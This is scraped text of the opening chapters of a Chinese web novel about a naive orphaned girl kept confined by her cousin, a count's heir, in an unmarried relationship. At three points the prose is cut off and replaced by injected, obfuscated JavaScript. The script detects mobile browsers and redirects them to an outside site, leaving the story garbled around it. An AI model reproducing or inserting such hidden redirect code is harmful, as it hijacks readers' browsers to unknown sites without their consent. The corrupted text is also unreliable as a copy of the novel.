《笨蛋美人的裙下臣》 1. 第 1 章 大业十四年。 三月末刚下过雨夹雪，整个世界都仿佛被一股凛冽寒冷的空气包裹着。 只要出了门，一张嘴就忍不住牙齿发抖。 大周朝所有事物同样被一股强劲的冷意席卷着。 朝廷如此。 武安侯府如此。 侯府里的人更是如此。 武安侯病重，这些年府里大事全由世子楚衍诺负责。 一年前接下户部侍郎的职位。 差事繁重，府里越发没了烟火气。 从上到下，全部屏气敛息，小心翼翼，时刻提心吊胆的努力干好自己的差事。 生怕被人鸡蛋里挑出骨头。 楚衍诺刚从朝里回来，脸色冷硬，周身都泛着寒意。 进门后等佣人脱掉他的斗篷，一边就着婢女端过来的火盆暖手，一边问：“暖暖可好？” 大姑姑青柠一直紧绷的神经终于松懈片刻。 世子爷心情再不好，提到表姑娘时都会变得特别宽容。 她笑着回道：“表姑娘很好，刚才奴婢去过瞧了，表姑娘吃了一碗粥两个包子，四个小饺子，还要再吃，被小倩拦住了。” 她说完悄悄观察了一下世子爷，果然嘴角染上一抹笑。 “世子爷，奴婢去把表姑娘请过来，您和她说说话。” 楚衍诺迟疑片刻，“罢了，天冷。” 回头冻出毛病，又该跟他哭鼻子了。 最近朝里忙，他实在抽不开身。 天气冷是冷了，但已经三月末，多穿点其实并没有多冷。 青柠觉得世子爷太惯着表姑娘了，可她不敢说。 不是她非要请表姑娘过来，实则是世子爷生气太可怕了，只有表姑娘在，他人才会变得温柔随和。 他们这些伺候人的下人也就能好过些。 可世子爷一句话堵住了她，她也不敢多说。 只能出屋后给小丫鬟眼色。 虽然世子爷不想让人去请表姑娘，可如果表姑娘主动过来，他肯定不会阻止。 小丫鬟翠柳受大姑姑青柠教导多年，自然明白她的示意。 她这种小丫头是没人在意的，悄悄溜出去一会儿根本不会被人发现。 因为主子喜欢表姑娘，她特意和表姑娘的丫鬟小倩交好。 两人时常互赠小礼物。 今天她赶过来，没见人，隔着帘子就开始搭话，“小倩姐，我是翠柳。” 小倩动作麻利地把门打开，让她快点进去。 表姑娘住的翠竹园和别处不同，屋里生着炭，各处都烤的暖暖呼呼。 翠柳进屋时掸了掸身上的雪水，往屋里探了一眼：“表姑娘没出门？” 小倩努了下嘴，“表姑娘本来就喜静，又是这么冷的天，肯定不会出屋了。” 她往后退了一步，打量起翠柳，“别说世子爷要请我们姑娘过去，这么冷的天，我们家姑娘不会去。” 翠柳有些尴尬，“怎么会，世子爷也说天冷，不要表姑娘过去，我是单纯过来看望表姑娘的，这不是世子爷不放心，特意让我过来瞧一眼，好回去回话。” 小倩不怎么相信，“真是世子爷让你来瞧的？” 翠柳一副我们都是好姐妹，我怎么可能骗你的神色，说道：“你这是不把我当姐妹了。” 小倩好笑道：“我怎么可能不把你当姐妹，只怕你们哄骗我家姑娘。 毕竟世子爷到年纪了，我家姑娘也不小了，这男女大防还是要顾及的，我家姑娘不懂这些，也不能由着你们欺负。” 翠柳脸上讪讪的。 说起来世子爷和表姑娘在一起也有几年了。 按理世子爷早该和表姑娘成亲。 至少应该订婚，名正言顺的在一起。 可看世子爷的意思，根本没有成亲的打算。 他们这些做丫鬟的肯定不敢乱说。 可谁都知道，世子爷那块冰，得表姑娘才能融。 他们这些丫鬟，都知道两个人不适合过多来往，可为了自己日子好过些，总想方设法给两个人制造机会。 她这会过来就希望能把表姑娘哄过去。 世子爷和表姑娘亲热一会儿，他们至少能得两三天的安稳。 “暖暖小姐，”翠柳提高些嗓门，隔着门口冲屋里喊道，“奴婢给您请安来了。” 往常这种情况，表姑娘都会急得光着脚跑出来，兴高采烈地问她是不是世子爷回来了。 她回答是，表姑娘便急着换衣跟她去松秀斋，世子爷所住的宅院。 之后世子再生气，见到表姑娘都会变得柔和。 表兄妹两个聊一会儿，再温存一会，叫上几回水。 这侯府上上下下都会感染些人气。 翠柳打的便是这个主意。 可她喊完半晌，都没见到屋里传出动静。 心里充满了疑惑，“表姑娘不会睡了吧。” 小倩有些不悦，说话也越来越不客气。 “你有时间把心思花在我们家姑娘身上，不如多引导一下世子爷，这府里大小事情，都是世子爷做主，我们家姑娘不过一个客人，虽然在府里住了十多年，可早晚是要回家的。” 翠柳皱了皱眉：“小倩姐这话怎么说的，表姑娘家里……还能去哪。” 谁都知道当年唐家办错了差事，祸及满门，先皇开恩，只有五岁以下的孩子活了下来。 唐家五岁以下的孩子也只有表姑娘一个，舅老爷撑着最后一口气送过来的。 当年的世子爷不过八岁，举手跟舅老爷发誓，这辈子一定会照顾好表姑娘，护她一辈子周全。 这在府里不是秘闻，多少人都羡慕表姑娘有这样一位青梅竹马的表哥。 也欣赏世子爷年纪那么小，已经足够重情重义，毕竟表妹是罪臣之后。 甚至这事在京城还传为一段佳话。 所以表姑娘成年后，世子爷和她发生关系，大家才没觉得奇怪。 反正两个人早晚都会成亲。 只不过几年过去，侯府还没动静，大家又疑惑起来。 小倩好笑道：“我们家姑娘是没父母了，可是……” 她凑近翠柳的耳边悄声道：“可我们表姑娘的兄长还活着，怎么可能让亲妹妹流落在外，早晚是会接回去的。” 翠柳心下大骇，“这怎么可能，唐家不是只活了表姑娘一个人吗？” 小倩哼了一声：“原本我是不想说的，害怕传出去不好，可如今皇上都换人了，告诉你也不怕，唐家的公子当年被人救走了，算起来，如今也有……” 她掰着手指算了算，“二十六七岁了，没准已经出人头地，为我们家老爷洗刷了冤屈，你说我们家姑娘能不能回去？” 翠柳是过来给表姑娘请安的，没见到表姑娘，还听说了这么一件大事。 她心里烦躁。 忍不住又往屋里探了一眼。 “暖暖小姐，世子爷回来了呢，还带了好多点心，小姐要不要过去尝尝？” 她已经无法想象，她一个人回到松秀斋，世子爷没见到表姑娘，今晚那边得冷成什么情况。 可她这次和刚才一样，表姑娘还是没有回她。 她神情充满了急切，“小倩姐，你行行好，让我进屋给姑娘请个安就走。” 小倩毫不犹豫拦在门口。 “我跟你说了那么多，你都没明白我什么意思是不是？” 翠柳明白小倩的心思，可她只不过一个小丫头，哪敢管主子的婚姻大事。 “小倩姐，你这可难为我了。” 小倩今天打定了主意，谁的面子都不给。 “我们家小姐也是正正经经的官家之后，就算落了难，那也是小姐，不能凭白给你们家爷糟蹋。 真喜欢，就八抬大轿抬过去，不喜欢，也别老缠着我们，明天我就去找侯夫人，在京城里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小姐，”小倩不识字，也不知道主子在画什么，一边帮她整理，一边说，“刚才翠柳来了，奴婢把她打发走了。” 唐兮暖正好把最后一笔画完。 她收了毛笔，把画好的成果展示给小倩看。 “这就是我未来的家了，我自己设计的，等哪天我和表哥成亲，就在府里建这样一栋房子，夏天去里边避暑。” 说起自己的作品，她眼里亮晶晶的，全是骄傲和对未来的美好向往。 “小姐，您衣服落了，我帮您弄一下，”小倩有些心酸。 小姐什么都好，长得好看，懂事听话又乖巧，唯一不好的就是生活常识上先天不足。 叮嘱她多少次，穿衣服要按顺序，先穿里边的，再穿外边的。 可她每次都弄不清楚，先把外边的褂子穿上，里边的衣服怎么都塞不进去。 告诉她出屋一定要穿鞋子，头发挽起来，只要盯得不够紧，她就能光着脚蓬头散发的跑出去。 见到长辈一定要行礼，可她没有一次能做对。 …… 小倩身为她的贴身丫鬟，怎么可能不着急。 “小姐，”小倩忍不住叮嘱，“您想嫁给世子爷，就一定要听奴婢的话。” 世子爷对小姐好是好，可听说府里要议亲了，并没人往表姑娘身上提。 世子爷似乎也没这个意思。 小姐这个性子，真给世子爷做了小，以后正妻进门，有的欺负呢。 如果能生个一儿半女，也能有个依靠。 可世子爷每次都让小姐喝避子汤，似乎也是没打算让小姐要孩子的。 可小姐还做着嫁给世子爷的美梦。 2. 第 2 章 松秀斋一连笼罩了三日阴霾。 包括青柠大姑姑都来了翠竹园五六趟，请唐兮暖过去。 都被小倩拦住了。 唐兮暖其实很想去见表哥。 她足足有四十五个时辰没见过表哥了。 可小倩不许，说是她想要嫁给表哥，做表哥的妻子，就必须忍住。 唐兮暖除了坐在书房里涂涂抹抹之外的时间，全都用来掰手指头了。 “小姐，不是奴婢心狠非要拦着您，咱这侯府，都是世子爷说的算，只要他点头，您就能做他的妻子。 侯夫人是您姑母，她肯定站您这边，可世子爷都到了大婚的年纪，却一直没跟您定下来，明摆着世子爷不同意。” 唐兮暖皱吧这小脸，有些不高兴：“表哥不是喜欢暖暖吗？他为什么不同意？” 她趴在床上，胸前放了一本最新出的话本子。 才子佳人，剧情正紧张刺激的时候。 她却没了看下去的心情。 小脸垫着两条白皙的藕臂，俏嫩的脚丫晃了晃，她气嘟嘟的哼了一声，“我不信，我要去问表哥。” 小倩算着日子，也有几天没见世子爷了。 问问也好。 不过她还是担心，“小姐，世子爷再脱您的衣服，您可不能同意了，他要是来硬的，您就打他巴掌。” “去见表哥喽——” 唐兮暖跳下床就要跑，小倩赶紧把鞋递过去，又帮她把衣服整理好。 “表姐——” 唐兮暖刚出屋，正好和侯府的三小姐撞个满怀。 三小姐楚衍晴急忙抱住她，“表姐你这急急忙忙的干什么去？” 她说着一笑，“见我哥去？” 唐兮暖笑起来嘴角有个很漂亮的小酒窝，想到她已经好几天没见到表哥马上就能见到了，眉眼都是浓得化不开的笑意。 “是啊，我去见表哥。” 楚衍晴紧紧把她拉住，“我哥还没回来，跟我去见姑母吧。” “好啊，”唐兮暖正好也想和姑母说说话，画本子里都说，子女的亲事由父母做主，她跟姑母说应该也是一样的。 楚衍晴担心她踩到水窝，弄湿了鞋袜，拉了她一路。 “表姐，小公主邀请很多姑娘明天进宫游玩，我也接到了请帖，你想不想去？” 唐兮暖当然想去了。 自从五岁进府，除了必要的情况，她从来没走出过这座侯府。 都是十几岁的女孩子，怎么可能不向往外边的世界。 可是表哥不许她出府。 以前表哥没做官的时候，每天都过来陪她玩，如今做了官，好几天都见不到一回。 尤其最近，小倩还要找各种理由阻止。 她每天闷在家里好无聊。 “我可以去吗？” 楚衍晴点了点头，“你想去我就带你去。” 唐兮暖开心的险些要飞起来。 “我想去，我想去，你快点带我去，我还从来没进过宫，他们说皇宫可大可漂亮了。” 楚衍晴担心她出什么状况，提前讲好条件，“那你可得答应我，明天需要寸步不离的跟着我，什么事都得听我的，否则我就不带你去了。” “我听，我听，”唐兮暖举手保证，“你让我做什么我就做什么，我肯定听。” 楚衍晴放心多了，伸出小拇指，“拉钩。” 唐兮暖也伸出小拇指，和她勾了勾。 姐妹两个很快来到侯夫人所住的宅院。 侯夫人刚念完经，看见姐妹两个过来，命人准备吃食。 听说女儿要带侄女进宫，心里放不下，免不了多嘱咐一些。 当然很多都是嘱咐女儿的，让她照顾好侄女。 小倩站在门口，频频给唐兮暖使眼色。 唐兮暖没接收到，倒是被侯夫人注意到了。 “小倩眼睛被虫子咬了？” 小倩被侯夫人抓个正着，满脸尴尬走到侯夫人面前跪地认错。 侯夫人倒也没责怪她，“有什么事直接跟我说，暖暖不一定能懂。” 小倩咬了咬嘴唇，决定豁出去了。 “夫人，我们小姐已经跟世子爷……”她没敢说发生关系的事。 可这事在府里不是秘密，所有丫鬟都知道。 侯夫人作为侯府的当家主母不可能没听说。 小倩转而说道：“我们家小姐眼看着就快二十岁了，到现在还没议亲，小姐没有父母了，奴婢斗胆请夫人做主，给我们家小姐张罗一下。” 小倩这话不光越界，还有点大逆不道。 唐兮暖没有父母了，只有侯夫人一个姑姑。 却磋磨到现在还没议亲。 小倩这话仔细听起来，竟然有些指责侯夫人这个姑母没尽到责任的意味。 楚衍晴担心母亲生气，先冷着脸色把小倩呵斥一顿。 “你这丫头怎么回事，平时看你还挺懂事的，你说什么呢？这是你该乱说的事吗。” 小倩不敢吭声。 自己主子的命都被人捏着，她一个奴婢，还不是人家随口一句话就能打发。 可她和小姐从小一起长大，她怎么能不为小姐考虑。 小倩既害怕，又为小姐委屈，眼泪稀里哗啦地落了下来。 唐兮暖刚才忙着吃点心，忽然急了。 “小倩，你哭什么，你快起来，快点起来呀。” 她扶不起小倩，心急如焚地向侯夫人求救，“姑母，你快让她起来好不好？” 侯夫人脸色确实不怎么好。 可她也有难言之隐。 默了片刻，摆了摆手：“姑母有些累了，你们出去玩吧。” 楚衍晴急忙拉起唐兮暖和小倩，“走了，走了，外边桃花开了，我们去看桃花。” 其实桃花前几天就开了，一场大雨过后，桃花落了不少。 不过还是好看的。 唐兮暖记得明天去宫里的事，看见小倩不哭了，询问楚衍晴宫里都有什么好玩的地方，她们明天都能去哪里。 “表妹，我听说御膳房的东西可好吃了，我们能不能吃呀？” 楚衍晴不知道公主都安排了什么节目。 “这可不好说，点心水果肯定有，至于饭菜……公主安排我们才能吃，不安排我就回来吃。” “哦哦，”唐兮暖太想出去了，生怕表妹不带她，“我记住了，明天我就跟着你，绝对不乱跑，也不乱说话。” “表姐好聪明，”楚衍晴被唐兮暖的笑容感染，心里暖融融的，“明天进宫要穿得很得体才行，走，我去你那看看，把衣服准备好，明天早晨让小倩伺候你换上。” 唐兮暖是侯夫人的亲侄女。 又是楚衍诺从小疼到大的，待遇比侯府亲生的几个女儿还好。 她的衣服，淡雅的、妩媚的、端庄的、大气的、华丽的，应有尽有。 装了好几个大衣柜。 唐兮暖不知道去皇宫该穿什么样的衣服，她一件一件的找出来，询问楚衍晴。 “表妹，这个怎么样？” “表妹，这个呢？” “这个呢？” 每一套都很漂亮。 最终楚衍晴帮她选了一套蓝色宽袖绣金丝的牡丹圆领褂子，里衣和裙子都是一套的。 色彩浓淡相宜，样式新巧，绣工特别精湛。 楚衍晴有一套紫色的。 “表姐，你穿这套蓝色，我穿紫色的，明天不认识我们的人也知道我们是姐妹。” “好啊，好啊，”唐兮暖也喜欢这套衣服，是表哥送她的料子，让府里绣娘做出来的成品，“我们就穿这套。” 她拍着白皙的小手，高兴得仿佛一个小孩子。 楚衍晴没在翠竹园待多久，毕竟进宫是大事，她还有很多事情准备。 “表姐，我也回去准备准备，明早过来接你。” 楚衍晴走后，唐兮暖高兴得跳起了舞，她身段柔软，又很有天赋，不过得到舞艺教习师父简单指导两年，便已经跳的出类拔萃。 是她自己下不了苦功，楚衍诺又担心她累着，只练了两年就停了。 “小倩，我明天可以出府了，还可以进皇宫，我觉得好开心。” 五岁以前的记忆早就没有了。 五岁以后，除了出门祭祀去必要的亲戚家，她好像从来没踏出过侯府。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189248|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>外边的世界到底什么样，她脑海里一点印象都没有。 小倩也替她高兴，“小姐，好不容易出去一趟，咱们一定要玩够了，外边的世界可有趣可热闹了。” 唐兮暖眼里亮晶晶的，心里充满期盼。 楚衍诺今天的心情又十分不好。 这个户部郎中他做的甚是吃力。 他从小读的是四书五经，道德文章，大周朝已经十几年没开过科考，很多学科都被废弃，他作为侯府的继承人，学的自然都是主流学识。 偏偏这户部用的不是什么诗词歌赋，道德文章。 最近朝廷要安置十万流民，从选地安置、提供农耕用具、建房发粮、治安维护等等，牵涉到落地的城县，朝廷所派官员，各地征集救灾粮款等等，弄得他脑袋像灌了一桶浆糊。 户部大大小小几十名官员，算了半个月，还没能给出具体数字。 包括户部尚书在内，一人算出一套数字，谁也说服不了谁，前两天还在户部吵了一顿。 竟然整理出三份数据交给摄政王。 气得摄政王当场发怒：“你们是想让我摇色子随机选一份数据吗？” 摄政王骂了户部尚书。 户部尚书又把他这个户部侍郎大骂一顿。 “看你年纪也不大，怎么连几个数字都算不对？怎么读的书。” 楚衍诺也是有口难言，大周朝打了几十年的仗，险些灭国，去年才算彻底消停。 科举都十几年没举办过了，朝廷人才断代，尤其是算学人才。 光这点数字都弄不清楚。 可这是朝廷积压多年的痹症，他也不敢乱说，只能忍着。 不过他脑子还算灵光，“李尚书，属下建议户部请一个懂算学的能人异士过来。” 在大周朝，算学是最没用的学科。 十几年前最后一次科举，朝廷都把算学这门考试停了。 户部尚书是个老狐狸，闻言长叹了口气，“有时间，你去和摄政王提一下吧。” 摄政王阴晴不定，性格暴戾乖张，什么人敢触他的眉头。 平时躲还来不及。 楚衍诺心里有苦说不出来。 压着一口气回府的结果便是，整个人都被一股阴郁的气氛笼罩着，看什么都不顺眼。 青柠伺候他更衣，觉察到他情绪不好，头皮紧皱，更是提起十分的小心。 即使这样，还是一不小心碰碰到了世子爷的手臂。 慌忙跪地求饶。 楚衍诺压着情绪，问道：“暖暖这两天都忙什么呢？” 他已经好几天没见人了。 往常小姑娘听说他回来，像只蝴蝶似的不停围着他转，一口一个表哥，喊得他这颗心都要碎了。 最近也不知道怎么回事，听说他回来，连个人影都不见。 青柠思忖着回道：“奴婢下午去过一趟，上午表姑娘和三小姐去给侯夫人请安了，三小姐明天要进宫，邀请表姑娘一起去，表姑娘可高兴了，让三小姐帮忙选了好一会儿衣服。” “进宫？”楚衍诺皱了皱眉。 小姑娘极少出门，主要因为她不懂任何人情世故，实在不放心她出去。 如果只是进宫，有三妹照顾着，倒也无妨。 “去告诉表姑娘，我回来了，一会过去看她。” 青柠松了口气，只要世子爷见了表姑娘，这侯府今夜是平和了。 “奴婢这就去。” 最近小倩拦着表姑娘不让她来松秀斋，可小倩挡不了世子爷看望表姑娘。 她得快些赶过去，帮表姑娘好好打扮打扮，世子爷见了高兴，今晚留宿在那边，他们这一府的奴才，不知道少丢多少魂。 青柠走后，米虫赶到楚衍诺身边伺候。 “爷，奴才听说小公主张罗宫宴，是想给摄政王选妃，请的都是王公大臣家的小姐。” 摄政王妃那肯定得足够端庄贤惠，冰雪聪明。 楚衍诺整理了一下衣领，虽然知道表妹肯定入不了摄政王的眼。 可他不喜欢有人用男人的眼色打量她。 “去告诉三妹，明天不许带表姑娘进宫，她喜欢去，一个人去就好。” 3. 第 3 章 楚衍晴接到兄长的消息，明天不许带表姐出门，亲自赶到了翠竹园。 心里无端后悔起来，她干嘛闲得没事邀请表姐出门。 一想到表姐满眼期待的样子，她就不知道怎么开口。 表姐是和普通人不太一样，可她不是傻子。 总这么关在府里，像一只被剪断了翅膀的金丝雀，长此以往，不会出问题？ 楚衍晴去而复返，被小倩看见，笑着把她请进屋里。 “三小姐，是不是还有什么嘱咐？我们小姐听说能出门，可高兴了，刚才还找出几套首饰，问我哪套漂亮。” 楚衍晴比唐兮暖小几岁，和亲姐妹无异。 甚至因为外公一家人遭难，唐兮暖从小没了父母，她还多出几分怜悯。 隔着门口看见表姐忙忙碌碌为明天的宫宴做准备，她实在说不出口。 “我过来……就是告诉你明天有点冷，你帮她多穿点。” 楚衍晴到底没说出口。 她打算先找母亲探探口风，如果母亲和兄长一个意思，她再过来转告表姐，明天不能带表姐去了。 楚衍晴到后宅的时候，正好碰见楚衍诺过来请安。 兄妹两个先行了礼。 屋里没有外人，楚衍晴几次想要开口，接触到兄长冷漠的眸子，都压了下去。 最后还是跟侯夫人说道：“娘，我哥刚才通知我，明天不要带表姐出门，我想问问您的意思。” 侯夫人头疼的按了按太阳穴。 “衍诺，你到底什么意思？” 楚衍诺皱起眉头，“娘，暖暖的情况您又不是不知道，她不适合出门。” 侯夫人眼里莫名生出几分疏离，“你只是觉得她不适合出门吗？” 楚衍诺有些心虚，“娘是觉得我应该怎么想。” 侯夫人忍了两三年，如今不想忍了。 “今天这里没有外人，娘只问你一句，暖暖的事情你到底怎么决定？” 楚衍诺无意识攥起拳头，“我不知道娘指的什么事？” 儿子故意装糊涂，侯夫人忍了又忍，“我指的什么你不清楚吗？暖暖都多大了，你二姐像她这么大的时候，女儿都满街跑了。” 到底把唐兮暖的婚事提到了明面上。 楚衍诺克制着情绪道：“她和别人不一样。” 侯夫人忍着怒火质问：“那你为什么要碰她？” 楚衍诺自然是真心喜爱表妹。 “娘，当年我和舅舅发过誓，一定会照顾好她，自然是因为疼爱。” 这话把侯夫人气笑了：“你还好意思提你的舅舅，他撑着一口气把暖暖送过来，你就是这么对她的，你……” 侯夫人捂着胸脯，喘了好一会。 楚衍晴担心母亲气坏了，急忙赶过去给她顺气。 “娘，您别生气，有话好好说。” 转而提醒楚衍诺，“哥，你非要这个样子吗！” 楚衍诺没吭声。 侯夫人待这口气下去，连讥带讽的说道：“我们唐家就剩这一个女儿，你不打算娶，却还要控制她，我们唐家是罪人，配不上你们侯府。 楚衍诺，今天我给你最后一次机会，你到底愿不愿意娶她？ 如果不愿意，我明天就请媒人，给她议亲，早点把她嫁出去。” “娘——”楚衍诺也是急了，“你不能把她嫁出去。” 侯夫人好像从来没认识过这个自己所生又亲自抚养长大的儿子。 “你不想娶她，却又不让她嫁人，是想让她给你做妾？一辈子没名没分抬不起头吗？楚衍诺，她是我们唐家最后一点骨血，你怎么能这么待她。” 楚衍晴也说：“是啊，哥，表姐什么都不懂，你以后总要娶妻生子，到时候她会容得下表姐吗？她连自保都不会。” 楚衍诺似乎早在等她这句话。 “如果你们是担心这个，那实在没必要，我会找一个温柔贤淑足够宽厚的妻子，肯定会对她好就是了。” 侯夫人险些咬碎了一口银牙。 可她还是不甘心，“所以你人都选好了？” 楚衍诺确实已经选好了：“魏国公的小女儿，温柔贤惠，聪慧敦厚，是侯府未来当家主母的最佳人选，还请母亲做主，帮忙促成这桩婚事。” 他走到侯夫人面前，正正经经行大礼，“还请母亲做主。” 侯夫人满眼失望的看着眼前这个儿子。 楚衍晴还想再争取一下，可被母亲一个充满警告意味的眼神拦住，再不满也得生生吞下去。 侯夫人怒极反笑。 “好啊，楚衍诺，我的好儿子，这桩婚事，我一定竭尽全力促成，今天先道一句恭喜，祝你和魏国公的小女儿佳偶天成，百子千孙。” 楚衍诺还想解释几句，注意到母亲失望的眼神，什么都没说出来。 这偌大的侯府，想要保全住隆盛不易，他作为武安侯唯一的儿子，不敢有任何差池。 母亲应该理解他才对。 “既然母亲同意了，那儿子感谢母亲，儿子也在这里给母亲一句保证，这辈子都会照顾好表妹，绝不让她受任何委屈。” 侯夫人到底没忍住，端起桌上的茶水，狠狠泼到楚衍诺的脸上。 此刻满心后悔，为什么只生了这一个儿子。 这侯府不交给他也得交给他。 楚衍诺慢慢擦掉脸上的茶水，却是满心遗憾。 如果父母再有一个儿子继承爵位，那他也不必为这个家殚精竭虑，还不被理解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189249|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时他倒可以带着表妹过神仙眷侣般的日子。 可是没办法，他肩膀上挑着侯府的大梁。 整个侯府的荣辱兴衰全在他一个人身上。 “表哥要来？”唐兮暖看见青柠的第一反应便是把所有出行要穿戴的衣服首饰全部藏起来，“小倩快点帮忙。” 小倩纳闷道：“小姐，你藏这些干什么，明早还要穿的。” 唐兮暖将白嫩嫩的手指放在唇边，嘘了一声。 “表哥肯定不会让我出去，快点藏起来，明早我们悄悄的走。” 小倩很快明白她的意思，跟着她一起收拾，同时还不忘警告青柠，“你可不要乱说，否则以后你们松秀斋出了什么事，别想让我们家小姐过去解围。” 青柠讪讪的笑着：“小倩说笑了，不相干的事，我一句都不会说的。” 所幸主仆两个白忙一顿，直到唐兮暖睡下，楚衍诺都没过来。 唐兮暖很高兴，安安稳稳睡了个好觉。 只不过一大早接到个不好的消息，表妹病了，参加不了今天的宫宴。 唐兮暖心里充满了遗憾，不过表妹不是故意的，她带了自己做的小甜点去看表妹。 原本楚衍晴确实想装病不去参加宫宴了。 可小公主难得筹办一回，她不去不光影响两个人的友谊，还会影响侯府。 小公主是皇上的亲妹妹，先皇最小的女儿，整个皇室都当眼珠子似的宠着。 她答应好好的，临时反悔以后传出她根本没病的消息还不得把人得罪透了。 思来想去的，楚衍晴决定好悄悄从后门溜了。 唐兮暖赶过来的时候，楚衍晴已经走了好一会儿。 “表妹，表妹……”唐兮暖拎着食盒，蹦蹦跳跳的赶到表妹所住的宅子，却被婢女心虚的拦住去路。 “表姑娘，三小姐生病了，担心把病气传给您，特意交代了不让您进去。” 唐兮暖也没多想，将食盒交给婢女，“那你告诉表妹我来过喽，等她好些我再来。” 小倩心思比唐兮暖多，提醒自己的主子，“小姐，您说会不会是三小姐自己去了？” 唐兮暖脚步一顿，回头看向楚衍晴的卧室，莫名红了眼眶。 她也不管谁拦在门口，推开人就往屋里跑，果然没见到表妹的身影。 “表妹，表妹——” 唐兮暖为了进宫，准备了一晚上，还是被人抛下了。 像小孩子般，忽然哭开了。 “你们都欺负我，都不理我，都不带我，你们都是坏人——” 楚衍晴的婢女急忙解释，“不是我们小姐不想带你，是世子爷交代了，不许您出府，三小姐本来也不想去的，可是她答应了公主，担心被公主责怪，这才……” 4. 第 4 章 小倩费了好大劲才把唐兮暖劝回翠竹园。 “小姐，世子爷不让您出去，他们才不敢带您出去。” 唐兮暖想不明白，“可是我能找到家，记得出去的路，也能找到回来的路，表哥为什么不让我出去？” 小倩尽可能站在世子爷的角度解释，“可能是担心小姐被人欺负吧。” 唐兮暖不开心，很不开心。 她觉得自己被关进了笼子，这个侯府，她好像永远也走不出去。 “表哥不是很喜欢我吗？他为什么不多派人保护我呢？” 小倩是真为小姐操心，“小姐，不是奴婢多嘴，现在世子爷还喜欢您，还把您放心上，您应该想办法让他把你们两个的婚事定下来，否则等世子爷娶了别人，时间长了，肯定会忽略您的。” 唐兮暖白皙的小脸又拧巴起来：“他为什么要娶别人？娶了别人，他就不喜欢我了吗？” 小倩叹了口气：“奴婢也不知道啊，不过世子夫人如果是个好相处的，您的日子也能好过点，可万一，只怕一年半载您都不一定能见到世子爷一面呢。” 如今侯夫人健在，家里还由侯夫人做主。 可万一哪天…… 小倩都不敢想，自家小姐会受多少委屈。 “暖暖——” 一道很突兀的喊声忽然打断两个人。 唐兮暖和小倩不由得看出去。 竟然是侯府嫁出去的二小姐回来了，手里还牵着一个五六岁的小姑娘。 唐兮暖心里一喜，“二姐姐——” 小姑娘已经先一步扑向唐兮暖，“表姨母。” 姐妹两个多日没见，自然要寒暄几句。 二小姐今天来的目的很简单，带表妹进宫。 “暖暖想不想进宫？” 唐兮暖不知道是喜悦还是震惊，她怔愣片刻，有些茫然地问道：“二姐姐能带我去？” 二小姐笑了，“我今天过来，就是为了带你进宫的。” 按理小公主今天邀请的全都是未婚待嫁女子。 二小姐自然不在邀请之列。 不过她夫家是皇后的近亲，有特权，找了进宫给皇后请安的借口便拿到了腰牌。 唐兮暖险些没高兴坏了。 只不过高兴着高兴着又失落起来，“表哥不让呢。” 二小姐哼道：“他管得了你，可管不了我，想去就快点换衣服。” 唐兮暖高兴了，“谢谢二姐姐。” 由小倩服侍着，很快将衣服换好。 太复杂的发髻来不及了，只松松垮垮挽起来，插了一只珍珠翡翠流苏的朱钗。 她人长得美，随便一打扮便是花容月貌之姿。 二小姐见到这么漂亮的表妹，眼里不由得流露出惊艳之光。 只怕她的亲弟弟没这个福气了。 希望表妹多出去走走，能遇到一个能拉她出泥潭的男人。 姐妹同乘一顶轿子。 路上二小姐话里话外说给表妹听。 “一个男人，不管怎么跟你说，他有多爱你，多疼你，都不能相信。 名分才是他能给你的最好保证。” 大周朝长幼尊卑，身份地位各种阶级分的极其严格。 做不了正妻，丈夫再疼再宠都只是下人。 以后生育的儿女都要低人一头。 正常人过这种日子都不知道多难熬，何况是表妹这种不能自保的人。 昨晚，二小姐接到侯夫人递给她的消息，气得她半宿没睡好觉。 她就一个舅舅，只留下表妹这一点骨血。 楚衍诺怎么敢！ 只要不是表妹，他娶谁，娶多少，她都不会参与。 唯独表妹不行。 她看着长大的小姑娘，还记得当年进府时候，才五岁的小不点，站在她面前，糯糯的喊她二表姐。 同样的，她也跟舅舅表达过决心，这辈子都会护着这个表妹周全。 只不过女子生存本就艰难，她没办法干涉太多表妹的人生。 也无法确定哪个男人能给表妹幸福。 连她自己的婚姻都是一地鸡毛。 不过，走出去，多见见世面，总比困在侯府的机会多。 只求外祖父、舅舅舅母在天保佑，让表妹余生幸福。 进宫后，二小姐将表妹交给楚衍晴，她则带着孩子去凤藻宫给皇后请安。 楚衍晴忽然见到表姐，仿佛自己做了什么背叛表姐的事，浑身都不自在。 “表姐，”她主动拉住唐兮暖的手，发自肺腑的跟她道歉，“对不起，我不该瞒着你，都是我不好，表姐最好了，肯定不会生表妹的气是不是？” 唐兮暖能出来侯府，还进了皇宫，看哪里都新鲜，就连空气里都是香甜浓郁的气息。 她哪还有精力和表妹生气。 “我知道是表哥不许我出门，我不生你的气。” 楚衍晴心口有些酸，勉强挤出一丝笑，“我就知道表姐大度，这御花园有很多好玩的地方，表姐想去哪，我带你去。” 